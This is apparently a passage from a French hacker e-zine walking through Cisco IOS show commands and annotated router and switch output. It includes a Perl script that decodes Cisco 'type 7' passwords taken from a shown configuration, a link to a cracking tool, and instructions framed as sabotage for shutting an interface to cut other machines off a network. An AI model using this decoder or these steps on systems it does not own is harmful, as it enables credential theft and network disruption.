  aliases                   Display alias commands
  alps                      Alps information
  apollo                    Apollo network information
  appletalk                 AppleTalk information
  arap                      Show Appletalk Remote Access statistics
  arp                       ARP table 
                            // C cute ça ta toute la liste des 
                            // macadress qui sont pluggés sur tel et tel port.
  async                     Information on terminal lines used as router
                            interfaces
  backhaul-session-manager  Backhaul Session Manager information
  backup                    Backup status
  bgp                       BGP information 
                            // Un protocol de routing (voir mon autre article)
  bridge                    Bridge Forwarding/Filtering Database [verbose]
  bsc                       BSC interface information
  bstun                     BSTUN interface information
  buffers                   Buffer pool statistics
  c2600                     Show c2600 information
  call                      Show call
  caller                    Display information about dialup connections
  cca                       CCA information
  ccm-manager               Call Manager Application information
  cdapi                     CDAPI information
  cdp                       CDP information
  cef                       Cisco Express Forwarding
  class-map                 Show QoS Class Map
  clns                      CLNS network information
  clock                     Display the system clock
  cls                       DLC user information
  cns                       CNS subsystem
  compress                  Show compression statistics
  configuration             Contents of Non-Volatile memory
  connection                Show Connection
  context                   Show context information
  controllers               Interface controller status
  cops                      COPS information
  debugging                 State of each debugging option
  decnet                    DECnet information
  derived-config            Derived operating configuration
  dhcp                      Dynamic Host Configuration Protocol status
  diag                      Show diagnostic information for port
                            adapters/modules
  dial-peer                 Dial Plan Mapping Table for, e.g. VoIP Peers
  dialer                    Dialer parameters and statistics
  dialplan                  Voice telephony dial plan
  diffserv                  Differentiated services
  dlsw                      Data Link Switching information
  dnsix                     Shows Dnsix/DMDP information
  docsis                    Show DOCSIS
  drip                      DRiP DB
  dspu                      Display DSPU information
  dxi                       atm-dxi information
  entry                     Queued terminal entries
  environment               Environmental monitor statistics
  exception                 exception informations
  file                      Show filesystem information
  flash:                    display information about flash: file system
  frame-relay               Frame-Relay information
  fras                      FRAS Information
  fras-host                 FRAS Host Information
  gateway                   Show status of gateway
  history                   Display the session command history
  hosts                     IP domain-name, lookup style, nameservers, and host
                            table
  html                      HTML helper commands
  idb                       List of Hardware Interface Descriptor Blocks
  interfaces                Interface status and configuration
  ip                        IP information 
                            // dans ip ya d'autre sous-show, donc un show ip &                
                            // s'imposerais!
  ipv6                      IPv6 information
  ipx                       Novell IPX information
  isis                      IS-IS routing information
  kerberos                  Show Kerberos Values
  key                       Key information
  keymap                    Terminal keyboard mappings
  lat                       DEC LAT information
  line                      TTY line information
  llc2                      IBM LLC2 circuit information
  lnm                       IBM LAN manager
  local-ack                 Local Acknowledgement virtual circuits
  location                  Display the system location
  logging                   Show the contents of logging buffers
  memory                    Memory statistics
  mgcp                      Display Media Gateway Control Protocol information
  microcode                 show configured microcode for downloadable hardware
  modemcap                  Show Modem Capabilities database
  mpls                      MPLS information 
                            // encore un routing protocol! 
                            // après tout c't'un routeur ;-)
  mpoa                      MPOA show commands
  nbf                       NBF (NetBEUI) information
  ncia                      Native Client Interface Architecture
  netbios-cache             NetBIOS name cache contents
  node                      Show known LAT nodes
  ntp                       Network time protocol
  num-exp                   Number Expansion (Speed Dial) information
  parser                    Display parser information
  pas                       Port Adaptor Information
  pci                       PCI Information
  policy-map                Show QoS Policy Map
  ppp                       PPP parameters and statistics
  printers                  Show LPD printer information
  privilege                 Show current privilege level
  processes                 Active process statistics
  protocols                 Active network routing protocols
  qdm                       Show information about QoS Device Manager
  qllc                      Display qllc-llc2 and qllc-sdlc conversion
                            information
  queue                     Show queue contents
  queueing                  Show queueing configuration
  radius                    Shows radius information
  random-detect-group       display random-detetct group
  registry                  Function registry information
  reload                    Scheduled reload information
  rhosts                    Remote-host+user equivalences
  rif                       RIF cache entries
  rmon                      rmon statistics
  route-map                 route-map information
  rtpspi                    RTP Service Provider Interface
  rtr                       Response Time Reporter (RTR)
  rudpv1                    Rudpv1 information
  running-config            Current operating configuration
  saa                       Service Assurance Agent information
  sdllc                     Display sdlc - llc2 conversion information
  services                  LAT learned services
  sessions                  Information about Telnet connections
  sgbp                      SGBP group information
  sip-ua                    Show SIP User Agent
  smf                       Software MAC filter
  smrp                      Simple Multicast Routing Protocol(SMRP) information
  sna                       Display SNA host information
  snapshot                  Snapshot parameters and statistics
  snmp                      snmp statistics
  source-bridge             Source-bridge parameters and statistics
  spanning-tree             Spanning tree topology
  srcp                      Display SRCP Protocol information
  stacks                    Process stack utilization
  standby                   Hot standby protocol information
  startup-config            Contents of startup configuration
  stun                      STUN status and configuration
  subscriber                Display the wireless subscriber unit management
                            applications
  subscriber-policy         Subscriber policy
  subsys                    Show subsystem information
  tacacs                    Shows tacacs+ server statistics
  tarp                      TARP information
  tcp                       Status of TCP connections
  tdm                       TDM connection information
  tech-support              Show system information for Tech-Support
  template                  Template information
  terminal                  Display terminal configuration parameters
  tgrm                      Trunk Group Resource Mananger info
  time-range                Time range
  tn3270                    TN3270 settings
  traffic-shape             traffic rate shaping configuration
  translate                 Protocol translation information
  translation-rule          Show translation rule table
  ttycap                    Terminal capability tables
  users                     Display information about terminal lines
  vc-group                  Show VC Group
  version                   System hardware and software status
  vines                     VINES information
  vlans                     Virtual LANs Information
  voice                     Voice port configuration & stats
  voip                      Voice over Internet Protocol information
  vpdn                      VPDN information
  vtemplate                 Virtual Template interface information
  whoami                    Info on current tty line
  x25                       X.25 information
  x29                       X.29 information
  xns                       XNS information
  xremote                   XRemote statistics


Bon trêve de plaisanterie, voici les fameux show version:

GSR:
JessicaAlba#show version
Cisco Internetwork Operating System Software
IOS (tm) GS Software (GSR-P-M), Version 12.0(18)ST, EARLY DEPLOYMENT RELEASE
SOFTWARE (fc1)
TAC Support: http://www.cisco.com/tac
Copyright (c) 1986-2001 by cisco Systems, Inc.
Compiled Thu 09-Jul-01 21:20 by jwell
Image text-base: 0x60010950, data-base: 0x6144A000

ROM: System Bootstrap, Version 11.2(20020206:174913) [sumisra-bfr112 182],
DEVELOPMENT SOFTWARE
BOOTLDR: GS Software (GSR-BOOT-M), Version 12.0(8)S, EARLY DEPLOYMENT RELEASE
SOFTWARE (fc1)

JessicaAlba uptime is 1 day, 3 hours, 45 minutes
System returned to ROM by reload at 12:24:15 EST Mon Nov 11 2002
System restarted at 18:24:22 EST Thu Jul 25 2002

System image file is "slot0:gsr-p-mz.120-18.ST.bin"

cisco 12416/GRP (R5000) processor (revision 0x05) with 262144K bytes of memory.
R5000 CPU at 200Mhz, Implementation 35, Rev 2.1, 512KB L2 Cache
Last reset from power-on

1 Route Processor Card
2 Clock Scheduler Cards
3 Switch Fabric Cards
1 OC48 POS controller (1 POS).
2 OC192 POS controllers (2 POS).
1 Three Port Gigabit Ethernet/IEEE 802.3z controller (3 GigabitEthernet).
1 Ethernet/IEEE 802.3 interface(s)
3 GigabitEthernet/IEEE 802.3 interface(s)
3 Packet over SONET network interface(s)
507K bytes of non-volatile configuration memory.

20480K bytes of Flash PCMCIA card at slot 0 (Sector size 128K).
8192K bytes of Flash internal SIMM (Sector size 256K).
Configuration register is 0x2102

Ouan ben on peut voir toute les interfaces, pis que finalement ya de la mémoire
flash en PCMCIA là-dessus.. (je suppose que le OS est dessus, facile a upgrader
ou formatter).  Bon vu  que c'est  fatigant avoir  des pastes,  je vais  copier
seulement les lignes du 2600 qui sont différentes...

AngelinaJolie#show version
IOS (tm) C2600 Software (C2600-JS-M), Version 12.2(2)T1,  RELEASE SOFTWARE (fc2)
TAC Support: http://www.cisco.com/tac
Copyright (c) 1986-2001 by cisco Systems, Inc.

cisco 2621 (MPC860) processor (revision 0x200) with 60416K/5120K bytes of
memory.
M860 processor: part number 0, mask 49
Bridging software.
X.25 software, Version 3.0.0.
SuperLAT software (copyright 1990 by Meridian Technology Corp).
TN3270 Emulation software.
2 FastEthernet/IEEE 802.3 interface(s)
32K bytes of non-volatile configuration memory.
16384K bytes of processor board System flash (Read/Write)

On voit alors  que le processeur  du 2600 est  pas mal moins  fort.. et à moins
de mémoire. Bon, même chose avec la switch :

KirstenDunst#show version
IOS (tm) C3500XL Software (C3500XL-C3H2S-M), Version 12.0(5.2)XU, MAINTENANCE
INTERIM SOFTWARE
Copyright (c) 1986-2000 by cisco Systems, Inc.

ROM: Bootstrap program is C3500XL boot loader

cisco WS-C3524-XL (PowerPC403) processor (revision 0x01) with 8192K/1024K bytes
of memory.
Processor board ID FAA0504F082, with hardware revision 0x00
Last reset from warm-reset

Processor is running Enterprise Edition Software
Cluster command switch capable
Cluster member switch capable
24 FastEthernet/IEEE 802.3 interface(s)
2 Gigabit Ethernet/IEEE 802.3 interface(s)

Encore plus minus.. faut dire qu'une  switch ça l'a moins d'affaires à gérer du
coté  CPU..  c'est à  peine  si elle  garde  quelques affaires  en  mémoire. La
principale  différence  c'est   que  les   protocoles  de   routing  sont   pas
implémentés dans  la switch,  c'est ça  qui fait  toute la  différence dans  la
mémoire qu'on a de besoin et du CPU.

Bon asteure  que le  ezine pèse  5000ko, allons-y  avec des  commandes qui font
quelque chose de plus poussé! heh

Mettons que je veux voir les vlans configurés sur la machine.. (à partir  d'ici
je tiens  compte que  vous avez  mémorisé ou  noté les  noms des chix avec  les
types de machine ;-)

JessicaAlba#show vlans

No Virtual LANs configured.


I guess que Jessica aime pas full les vlans..

AngelinaJolie#show vlans

Virtual LAN ID:  1 (IEEE 802.1Q Encapsulation)

   vLAN Trunk Interface:   FastEthernet0/0

 This is configured as native Vlan for the following interface(s) :
FastEthernet0/0

   Protocols Configured:   Address:              Received:        Transmitted:

Virtual LAN ID:  1281 (IEEE 802.1Q Encapsulation)

   vLAN Trunk Interface:   FastEthernet0/0.1281

   Protocols Configured:   Address:              Received:        Transmitted:
           IP              192.168.10.2                 0                4623

Virtual LAN ID:  31 (IEEE 802.1Q Encapsulation)

   vLAN Trunk Interface:   FastEthernet0/0.31

   Protocols Configured:   Address:              Received:        Transmitted:
           IP              192.168.31.8               128               10235
          CLNS                                         55                   0


oh oh qu'est-ce que je vois!
ben  oui,  Angelina a des  vlans de  configurés..  on voit  donc  une interface
FastEthernet(FA)  et des  sous-interfaces FA.  Car oui,  grâce aux  merveilleux
vlan,  on peut  faire rouler  sur la  même interface  plusieurs "instances"  du
router.. tout ce  qu'on a faire  c'est de mettre  ça dans un  vlan! Fantastique
non? si on regarde sur la switch c'est pas mal différent du router :

KirstenDunst#show vlan      
VLAN Name                             Status    Ports
---- -------------------------------- --------- -------------------------------
1    default                          active    Fa0/13, Fa0/14, Fa0/15, Fa0/16,
                                                Fa0/17, Fa0/18, Fa0/19, Fa0/20,
                                                Fa0/21, Fa0/22, Fa0/23, Fa0/24,
                                                Gi0/1
10   VL10                             active   
11   VL11                             active   
12   VLAN0012                         active   
13   VLAN0013                         active


Lorsque la switch a beaucoup de  ports, elle risque d'avoir beaucoup de vlans..
m'enfin c'est avec cette commande qu'on peut voir dans quel vlan est pluggé  un
port.. quand même pseudo-pratique.  Sur la switch on  peut aussi savoir la  mac
address pluggé avec le port :

KirstenDunst#show mac-address-table
Dynamic Address Count:                 601
Secure Address Count:                  0
Static Address (User-defined) Count:   0
System Self Address Count:             49
Total MAC addresses:                   650
Maximum MAC addresses:                 8192
Non-static Address Table:
Destination Address  Address Type  VLAN  Destination Port
-------------------  ------------  ----  --------------------
0000.0301.0102       Dynamic          1  GigabitEthernet0/2
0000.0401.0102       Dynamic          1  GigabitEthernet0/2
0000.0501.0102       Dynamic          1  GigabitEthernet0/2
0000.5008.cc4d       Dynamic          1  FastEthernet0/24
0000.c0a8.0102       Dynamic        501  GigabitEthernet0/2
0000.c0a8.0202       Dynamic        502  GigabitEthernet0/2
0000.c0a8.0502       Dynamic        503  GigabitEthernet0/2
0001.0235.71d1       Dynamic          1  FastEthernet0/24


bon, la c'est  beau tout ça,  mais comment on  fait pour voir  les détails  les
plus intimes de  chaque interfaces? et  bien c'est "show  interfaces" pour tout
les machines.. voici un sample de Jessica :

JessicaAlba#show interfaces
GigabitEthernet1/0 is up, line protocol is up // ça veut dire que le laser 
  // est ouvert, et que le routeur gère le port..
  Hardware is GigMac 3 Port GigabitEthernet, address is 0003.f00d.c001 (bia
  0003.f00d.c001) // BTW ce port la c'est dla fibre optique quand même..
  Internet address is 192.176.17.120/24 // Le ip et le netmask de l'interface
  // 1500 c'est le MTU par défaut, la Bandwidth (BW) est exprimé en KiloBITS,
  //  dans le cas de cette interface, il y en a un million
  //                            (1 gigabit/sec! d'ou le nom de l'interface..)
  MTU 1500 bytes, BW 1000000 Kbit, DLY 10 usec, rely 255/255, load 1/255
  Encapsulation ARPA, loopback not set
  Keepalive set (10 sec)
  Full-duplex mode, link type is force-up, media type is SX
  output flow-control is unsupported, input flow-control is off
  ARP type: ARPA, ARP Timeout 04:00:00
  Last input 00:00:08, output 00:00:00, output hang never
  Last clearing of "show interface" counters never
  Queueing strategy: fifo
  Output queue 0/40, 0 drops; input queue 0/75, 150 drops
  5 minute input rate 0 bits/sec, 0 packets/sec
  5 minute output rate 0 bits/sec, 0 packets/sec
     // bon là pour ces stats là je suis pas sûr si c'est un 5minutes ou depuis
     // le uptime.. mais vu que la machine avait juste 1 jour de uptime, et que
     // c'est une machine test, c'est sûrement depuis que le port est "up"...
     45094188 packets input, 3653684704 bytes, 0 no buffer
     Received 235909 broadcasts, 0 runts, 107781 giants, 0 throttles
     1273250 input errors, 0 CRC, 0 frame, 1273250 overrun, 0 ignored
     0 watchdog, 3526047 multicast, 0 pause input
     15685 packets output, 1227106 bytes, 0 underruns
     0 output errors, 0 collisions, 3 interface resets
     0 babbles, 0 late collision, 0 deferred
     14 lost carrier, 0 no carrier, 0 pause output
     0 output buffer failures, 0 output buffers swapped out
POS3/0 is down, line protocol is down // Ça veut dire que le laser est pas
  // allumé, et qu'on s'en sert pas dans le routeur..
  Hardware is Packet over SONET  // SONET c'est le protocole qui marche avec la
  // fibre optique pis le PPP. On parle d'une OC48 ici, alors le MTU est a 4470
  //  (et ben!) pis la speed c'est 2,488 gigabits/sec!
  MTU 4470 bytes, BW 2488000 Kbit, DLY 100 usec, rely 255/255, load 1/255
  Encapsulation HDLC, crc 32, loopback not set
  Keepalive set (10 sec)
  Scramble disabled
  Last input never, output never, output hang never
  Last clearing of "show interface" counters never
  Queueing strategy: fifo
  Output queue 0/40, 0 drops; input queue 0/75, 0 drops
  5 minute input rate 0 bits/sec, 0 packets/sec
  5 minute output rate 0 bits/sec, 0 packets/sec
  // Vu que le port est "down" donc closed, on a pas d'infos sur ce qui passe
     0 packets input, 0 bytes, 0 no buffer
     Received 0 broadcasts, 0 runts, 0 giants, 0 throttles
              0 parity
     0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort
     0 packets output, 0 bytes, 0 underruns
     0 output errors, 0 applique, 0 interface resets
     0 output buffer failures, 0 output buffers swapped out
     2 carrier transitions
POS4/0 is administratively down, line protocol is down /même chose que l'autre
  Hardware is Packet over SONET
  Internet address is 2.2.2.2/30
  // OC192, même MTU que le OC48, mais un ti peu plus de bandwidth
  // (en facteur multiplicateur bien sur haha ;-) avec 9,952 gigabits/sec!
  MTU 4470 bytes, BW 9 952 000 Kbit, DLY 100 usec, rely 255/255, load 1/255
  Encapsulation PPP, crc 32, loopback not set
  Keepalive set (10 sec)
  Scramble enabled
  LCP Closed
  Closed: IPCP, CDPCP
  Listen: TAGCP
  Last input 1d00h, output 1d00h, output hang never
  Last clearing of "show interface" counters never
  Queueing strategy: fifo
  Output queue 0/40, 0 drops; input queue 0/75, 0 drops
  5 minute input rate 0 bits/sec, 0 packets/sec
  5 minute output rate 0 bits/sec, 0 packets/sec
     1415 packets input, 22540 bytes, 0 no buffer
     Received 0 broadcasts, 6 runts, 2 giants, 0 throttles
              0 parity
     223 input errors, 215 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort
     4602 packets output, 189336 bytes, 0 underruns
     0 output errors, 0 applique, 6 interface resets
     0 output buffer failures, 0 output buffers swapped out
     5 carrier transitions
Loopback0 is up, line protocol is up
  Hardware is Loopback
  Description: Used for loopback, this is fun.
  Internet address is 199.199.199.120/32
  MTU 1514 bytes, BW 8000000 Kbit, DLY 5000 usec, rely 255/255, load 1/255
  Encapsulation LOOPBACK, loopback not set
  Last input never, output never, output hang never
  Last clearing of "show interface" counters never
  Queueing strategy: fifo
  Output queue 0/0, 0 drops; input queue 0/75, 0 drops
  5 minute input rate 0 bits/sec, 0 packets/sec
  5 minute output rate 0 bits/sec, 0 packets/sec
     0 packets input, 0 bytes, 0 no buffer
     Received 0 broadcasts, 0 runts, 0 giants, 0 throttles
     0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort
     0 packets output, 0 bytes, 0 underruns
     0 output errors, 0 collisions, 0 interface resets
     0 output buffer failures, 0 output buffers swapped out
Ethernet1 is up, line protocol is up // oui, c'est une plug ben normale...
  Hardware is 10/100 Ethernet, address is 0003.f00d.c3ff (bia 0003.f00d.c3ff)
  Description: interface for management // voila pkoi elle est normal, c'est
  // par cette interface qu'on se branche en telnet pour administrer la machine.
  Internet address is 10.10.12.44/16
  MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec, rely 255/255, load 1/255
  Encapsulation ARPA, loopback not set
  Keepalive set (10 sec)
  ARP type: ARPA, ARP Timeout 04:00:00
  Last input 00:00:00, output 00:00:02, output hang never
  Last clearing of "show interface" counters never
  Queueing strategy: fifo
  Output queue 0/40, 0 drops; input queue 0/75, 1359 drops
  5 minute input rate 2000 bits/sec, 3 packets/sec
  5 minute output rate 0 bits/sec, 0 packets/sec
     697969 packets input, 70764617 bytes, 0 no buffer
     Received 680547 broadcasts, 0 runts, 0 giants, 0 throttles
     0 input errors, 4323 CRC, 0 frame, 536 overrun, 0 ignored
     0 input packets with dribble condition detected
     16532 packets output, 1680846 bytes, 0 underruns
     2 output errors, 6 collisions, 2 interface resets
     0 babbles, 2 late collision, 31 deferred
     4 lost carrier, 0 no carrier
     0 output buffer failures, 0 output buffers swapped out


Bon, évidemment j'en ai  enlevé un peu, il  avait d'autres Gigabit et  des POS!
Elle est bourrée  cette Jessica :-)  Il est aussi  à noter que  le router était
dans un environnement de test, donc  il n'était pas vraiment sur Internet..  ce
qui explique les IPs de LAN 192.*, mais il y a rien qui change entre un LAN  ou
Internet... à part les  IPs. De plus vous  avez vu de la  speed en bits, et  du
transfert en bytes, c'est fucké j'avoue. En théorie on serait supposé  toujours
utiliser des  bits, mais  les bytes  sont ce  que vous  comprennez.. donc  pour
arranger la polémique du OC192, si  on prend le 9,952 gigabits/sec et  qu'on le
met en gigabytes/sec, ça donne 1,244. Et oui, 1,244 gig/sec comme on dirait par
chez nous sur Internet.. heh.
Aussi, une autre commande pour les voyeurs pourrait être très intéressante :

JessicaAlba# show run
Building configuration...

Current configuration : 3017 bytes
!
! Last configuration change at 01:15:25 EST Fri Nov 23 2002
!
version 12.0
no service pad
service timestamps debug datetime localtime
service timestamps log datetime localtime
service password-encryption
!
hostname JessicaAlba
!
boot system flash gsr-p-mz.120-18.ST.bin
logging rate-limit console 10 except errors
enable secret 5 $1$EvGk$ilJKqn3ajrEDfCKFU7x5C0
enable password 7 110A1016141D // ça j'en parle plus bas
!
clock timezone EST -5
clock summer-time EST recurring
!
!
interface Loopback0
 description Used for loopback, this is fun.
 ip address 200.200.200.6 255.255.255.255
!
interface FastEthernet0/0
 no ip address
 speed 100
 full-duplex
!
interface FastEthernet0/0.130 // La il faut que j'explique le .130. En faite
 // cette interface n'existe pas vraiment, c'est une interface virtuelle.
 // 0/0 existe, et est la FastEthernet à la slot 0 dans le rack 0, mais le
 // .130 à été déterminé dans la configuration. Ça sert seulement pour les
 // interfaces Ehternet, à cause que ce sont les seules à supporter les vlans
 // (PPP ya pas de vlan dans ça, c'est pluggé direct).
 encapsulation dot1Q 130 // Voici donc le dot1Q (aka le VLAN) associé.
 // Vous comprenez donc que le .130 à juste été mis la pour se retrouver dans
 // les VLANS.. je sais pas par coeur le max qu'on peut mettre sur les Ciscos,
 // mais c'est beaucoup (>100 au moins).
 ip address 113.100.1.6 255.255.255.0
!
interface FastEthernet0/0.133
 encapsulation dot1Q 133
 ip address 113.100.4.6 255.255.255.0
 ip ospf cost 100 // Config de protocole
!
interface FastEthernet0/1
 description interface for management 
 ip address 10.10.12.41 255.255.0.0
 speed 100
 full-duplex
!
ip classless
ip route 10.0.0.0 255.0.0.0 10.10.0.1 // Ça c'est des routes statiques de settées
ip route 100.100.0.0 255.255.255.0 Null0
ip route 100.100.1.0 255.255.255.0 Null0
ip route 100.100.2.0 255.255.255.0 Null0
no ip http server // Me semble que ça cé pour la configuration HTTP du routeur..
!
!
!
! // SNMP : Simple Network Management Protocol (ça s'explique tout seul heh)
snmp-server community public RO
snmp-server community private RW
snmp-server manager
!
dial-peer cor custom
!
!
!
!
! // ça cé juste des config pour les terminaux de configurations..
line con 0
line aux 0
line vty 0 4
 exec-timeout 0 0
 password 7 02050D480809
 login
line vty 5 10
 exec-timeout 0 0
 password 7 02050D480809
 login
line vty 11 15
 exec-timeout 0 0
 login
! // NTP: Network Time Protocol (me semble)
ntp clock-period 17180497
ntp server 10.10.12.37
!
end

Avec ça on voit tout ce qui a été setté sur le router/la switch..
Intéressent...
Mais bon, c'est bien le fun faire le voyeur comme ça, faudrait être capable  de
regarder des choses plus  précises, et surtout faire  de la marde! heu  je veux
dire configurer des choses qui pourrait nous être utile... ;-)

Bon la  jsuis sure  que même  si vous  avez aucune  idée de  quoi faire avec un
router, vous avez quand même rester figé sur :
             enable secret 5 $1$EvGk$ilJKqn3ajrEDfCKFU7x5C0
             enable password 7 110A1016141D
C'est évidant!
Bon, à ce que j'ai pu comprendre le "secret" c'est le premier password demandé,
pis le "password"  c'est celui qui  est demandé après  "enable".. c'est bizzare
car  sur le  routeur que  j'ai entre  les mains  présentement le  secret et  le
password sont  les mêmes...  pourtant l'explication  est simple  : l'algorithme
utilisé est pas la même. Selon  cisco le password c'est un algorithme  fifi, et
on peut trouver un crack sur internet.

[.. 20 secondes plus tard ..]

#!/usr/bin/perl -w
#
# Credits for orginal code and description hobbit@avian.org,
# SPHiXe, .mudge et al. and for John Bashinski 
# for Cisco IOS password encryption facts.
#
# Use for any malice or illegal purposes strictly prohibited!
#

@xlat = ( 0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f, 0x41,
          0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72, 0x6b, 0x6c,
          0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53 , 0x55, 0x42 );

while (<>) {
        if (/(password|md5)\s+7\s+([\da-f]+)/io) {
            if (!(length($2) & 1)) {
                $ep = $2; $dp = "";
                ($s, $e) = ($2 =~ /^(..)(.+)/o);
                for ($i = 0; $i < length($e); $i+=2) {
                    $dp .= sprintf "%c",hex(substr($e,$i,2))^$xlat[$s++];
                }
                s/7\s+$ep/$dp/;
            }
        }
        print;
}

hum, j'aime pas la manière qu'on s'en sert.. j'vas modifier ça un peu..

[.. 20 secondes plus tard! haha joke ça ma prit un bon 10min ak le debugage ..]

-------------------- >8 cut here --------------------

#!/usr/bin/perl -w
# chisco.pl : décrypte les password "type 7" de Cisco IOS.
# Refaite vite vite par LastCall_ pour Mindkind 11

# Credits for orginal code and description hobbit@avian.org,
# SPHiXe, .mudge et al. and for John Bashinski 
# for Cisco IOS password encryption facts.
#
@xlat = ( 0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f, 0x41,
          0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72, 0x6b, 0x6c,
          0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53 , 0x55, 0x42 );
die 'ça marche de même : "perl chisco.pl password"' if (not defined $ARGV[0]);
my $unf = $ARGV[0];
print "Pass crypter-poche : $unf\nPass décrypté par 11/2 nain unijambiste: ";
if (!(length($ARGV[0]) & 1)) {
  $ep = $ARGV[0]; $dp = "";
  ($s, $e) = ($ARGV[0] =~ /^(..)(.+)/o);
  for ($i = 0; $i < length($e); $i+=2) {
    $dp .= sprintf "%c",hex(substr($e,$i,2))^$xlat[$s++];
  }
  $unf =~ s/$ep/$dp/;
}
print "$unf \n\n";

-------------------- cut here 8< --------------------

C'est plus cute la? heh
Pis tant qua faire si vous êtes vedge en plus d'avoir windows :
                           http://bdsltd.co.uk/network/cisco/GetPass.exe
On peut pas dire que je vous ai jamais rien donné crue dans bouche :-P

Bon, alors vous  pouvez vous amuser  à comprendre l'algorithme  si vous voulez,
mais d'un seul coup  d'oeil de même (j'ai  quand même gossé un  gros 10 MINUTES
sur  le  code   lala)  ça  ma   dlair  d'une  clef   de  substitution  utilisée
intelligemment, mais la clef est facilement trouvable quand on a un password et
son résultat crypté donc cé de la vrai bouette.

Pour l'autre, le secret, vous l'avez sûrement reconnu, c'est du bon vieux MD5.

Pour en faire un résumé, le "secret" c le pass pour se connecter sur le router,
pis le "password" cé le pass après enable. Il est a noter qu'on peut avoir  des
users aussi (genre on fait "login" après la première étape d'authentification),
et qu'ils sont encryptés avec le fameux type 7 (de password..).

Selon cisco, on devrait considérer ces passwords comme du plain text. hehehe

Pour un maudit bon paquet de détails sur les dernières choses, allez voir
http://www.cisco.com/warp/public/701/64.html
c'est intéressent.
D'ailleurs tout le site de cisco est très intéressent 
http://www.cisco.com/univercd/cc/td/doc/product/iaabu/idpg/intro.htm
IDS!
Et si vous voulez faire un overflow : http://www.cisco.com/warp/public/707/

Seul problème c'est que les chances  que vous touchiez a un firewall  Cisco une
fois dans vie sont pratiquement nulles, à moins que votre objectif de  carrière
soit : gars de chez Cisco qui configure des routeurs à 200$ de l'heure. heh

bon passons a autre chose...
interface FastEthernet0/1
 description interface for management 
 ip address 10.10.12.41 255.255.0.0
 speed 100
 full-duplex
!

interface for management.. interface comme management.. comment je fais pour 
me plugger la dessus putain...
...si je nslookup JessicaAlba, ça me donne :
Name:   JessicaAlba
Address:  10.10.12.41

J'vas prendre un 10 secondes de break pour ceux qui ont pas compris encore...

Et ben  oui! jme  suis connecté  sur jessicaalba  en telnet  pour pouvoir taper
toute ces  commandes! donc  l'interface que  vous voyez  la, c'est  l'interface
utilisée pour telnetter la machine!

Donc si vous  la disabler, vous  êtes dans marde...  par contre, kc  qu'on peut
faire si on veut mettre tlm dans marde sauf nous?
(Remarquez c'est pas une bonne chose, si vous voulez pas alerter personne)
interface FastEthernet0/0.130
 encapsulation dot1Q 130
 ip address 113.100.1.6 255.255.255.0
!

Cette interface  la s'occupe  du vlan  qui est  linké avec  113.100.1.6 avec un
network de 255.255.255.0 ya fort à parier que de 113.100.1.1 à 113.100.1.254 ya
des affaires de pluggés dessus... que  vous pouvez faire planter avec le  reste
du monde...
interface FastEthernet0/0.133
 encapsulation dot1Q 133
 ip address 113.100.4.6 255.255.255.0
 ip ospf cost 100
!

Si j'fais un "show ip route", je vois

JessicaAlba #show ip route
Codes: C - connected, S - static, I - IGRP, R - RIP, M - mobile, B - BGP
       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area 
       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
       E1 - OSPF external type 1, E2 - OSPF external type 2, E - EGP
       i - IS-IS, L1 - IS-IS level-1, L2 - IS-IS level-2, ia - IS-IS inter area

       * - candidate default, U - per-user static route, o - ODR
       P - periodic downloaded static route

Gateway of last resort is not set

C       113.100.4.0 is directly connected, FastEthernet0/0.133
C       113.100.1.0 is directly connected, FastEthernet0/0.130

Bon, donc si  je trouve une  machine dans le  network 113.100.4.0 et  que oh le
grand hasard c'est un autre routeur, je check sa routing table pis je vois :

S       113.100.1.0 [1/0] via 113.100.4.6

Bingo, je peux le rendre aveugle  sur les choses qu'il voit sur  le 113.100.1.0
si je lui barre le 113.100.4.6...

Vu comme ça, c'est assez simple à comprendre, le router sait par ou passer.. si
mettons  ce sont  des machines  ben vous  pouvez toujours  utiliser la  méthode
suivante au lieu de faire ip route :
Sending 5, 100-byte ICMP Echos to 113.100.4.6, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 1/2/4 ms

Le  ping c'est  rendu! C'est  un peu   normal car  le ip  de ma  machine  c'est
113.100.4.88  dans 255.255.255.0..  donc le  même network.  maintenant  pignons
113.100.1.6 qui est PAS dans le même network..
Sending 5, 100-byte ICMP Echos to 113.100.1.6, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 1/2/4 ms
Ça marche!
Donc ça veut dire qui cette machine là possède la route pour se rendre  l'autre
bord.. vous avez  donc juste à  figurer par vous-même  que c'est le  router que
vous avez qui fait la job..  (c'est  pas toujours vrai, il peut  avoir d'autres
routers ailleurs, finalement une  autre  route que  celle qui passe   par notre
router... pour se rendre a la même place.)

M'enfin, trêve de plaisanteries, on veut que l'autre machine puisse pu voir  le
reste. Quoi faire? On a 2 choix,  dans le cas présent on peut scrapper  le vlan
(vu que  c'est le  router qui  décide dans  quel vlan  yé (avec dot1q), mais je
crois  qu'on  devrais  opter  pour  la  grosse  méthode  méchante  :   DISABLER
LINTERFACE!.  Autrement  dit,  c'est  tourner la  switch  on  a  off, pour  cet
interface la.

donc on rentre en mode de configuration :
JessicaAlba#conf t
Enter configuration commands, one per line.  End with CNTL/Z.
JessicaAlba(config)#
JessicaAlba(config)#interface FastEthernet0/0.133
JessicaAlba(config-subif)#shutdown 
JessicaAlba(config-subif)#exit
JessicaAlba(config)#exit

JessicaAlba#

C'est tout..
Si on retourne sur  notre machine cible, et  qu'on ping soit l'autre  interface
dans  le  même  network  (celle qu'on  vienne  de  shutdowner)  ou ben  l'autre
interface qui était router :
Sending 5, 100-byte ICMP Echos to 113.100.1.6, timeout is 2 seconds:
.....
Success rate is 0 percent (0/5)
et ben sa fouarre!
c le fun
maintenant pour le réenabler c'est :
  conf t
    int fa 0/0.133
    no shut
    exit
  exit
facile!

Sending 5, 100-byte ICMP Echos to 113.100.1.6, timeout is 2 seconds:
